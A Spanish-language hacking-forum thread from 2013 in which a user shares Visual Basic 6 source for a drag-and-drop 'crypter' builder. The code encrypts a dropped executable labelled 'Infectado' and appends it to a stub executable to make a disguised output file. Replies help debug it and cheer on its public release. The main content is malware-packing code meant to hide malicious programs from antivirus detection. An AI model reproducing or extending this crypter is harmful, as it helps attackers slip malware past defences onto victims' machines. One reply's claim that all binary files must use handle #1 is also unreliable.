Página 1 de 1

Crypter Drag & Drop

Publicado: 09 Ago 2013, 01:15
por [KIll]
Buenas!
Codeé un crypter drag & drop y al darle click al botón para guardar el archivo encriptado me salta el siguiente error:

Imagen

Código: Seleccionar todo

Dim Ruta As String
Const Contra = "uZtgE4LvGHcmM4maVUK3eF334sNszBrZXVAVKVhrcP9zZZvKgw3Xu6YM"

Private Sub T1_OLEDragDrop(Data As DataObject, Effect As Long, Button _
As Integer, Shift As Integer, x As Single, Y As Single)

    T1.Text = Data.Files(1)
    Ruta = T1.Text

End Sub

Private Sub B1_Click()
    
   Dim Infectado As String, Nuevo As String, Stb As String, NuevaRuta As String, StbRuta As String
    
    NuevaRuta = App.Path & "\ENCRIPTADO.exe"
    StbRuta = App.Path & "\KIll.exe"
    
    Open Ruta For Binary As #1
    Infectado = Space(LOF(1))
    Get #1, , Infectado
    Close #1
    
    Infectado = Enc.EncryptString(Infectado, Contra)
    
    Open StbRuta For Binary As #2
    Stb = Space(LOF(2))
    Get #2, , Stb
    Close #2
    
    Nuevo = Stb & "MICROSOFTVISUALBASIC" & Infectado
    
    Open NuevaRuta For Binary As #3
    Put #3, , Nuevo
    Close #3

End Sub
Qué es lo que estoy haciendo mal ?

Re: Crypter Drag & Drop

Publicado: 09 Ago 2013, 02:08
por [KIll]
Solucionado.
Solo tenía que agregar "Option Explicit" al principio de todo xD

Salu2!

Re: Crypter Drag & Drop

Publicado: 09 Ago 2013, 03:47
por azav3
Cuando no sepas a qué se debe un error, lo que te recomiendo hacer es correr el programa desde el proyecto y cuando te aparezca el error, le das a debugger, que te señala la linea que tira el error. De lo contrario puedes demorar mucho en encontrar el error si es un source extenso.

Suerte con tu crypter, espero verlo en Nuevas Herramientas pronto!

Re: Crypter Drag & Drop

Publicado: 09 Ago 2013, 11:15
por Naker90
Cuando abres un archivo binario siempre tienes que hacerlo de la misma manera "open....... For binary as #1" lo unico que cambia es lo que abres, resumiendo esos #2 y #3 tienes que cambiarlos por #1
Saludos

Re: Crypter Drag & Drop

Publicado: 09 Ago 2013, 21:15
por otroyomismo
agrega "Option Explicit" al principio de todo.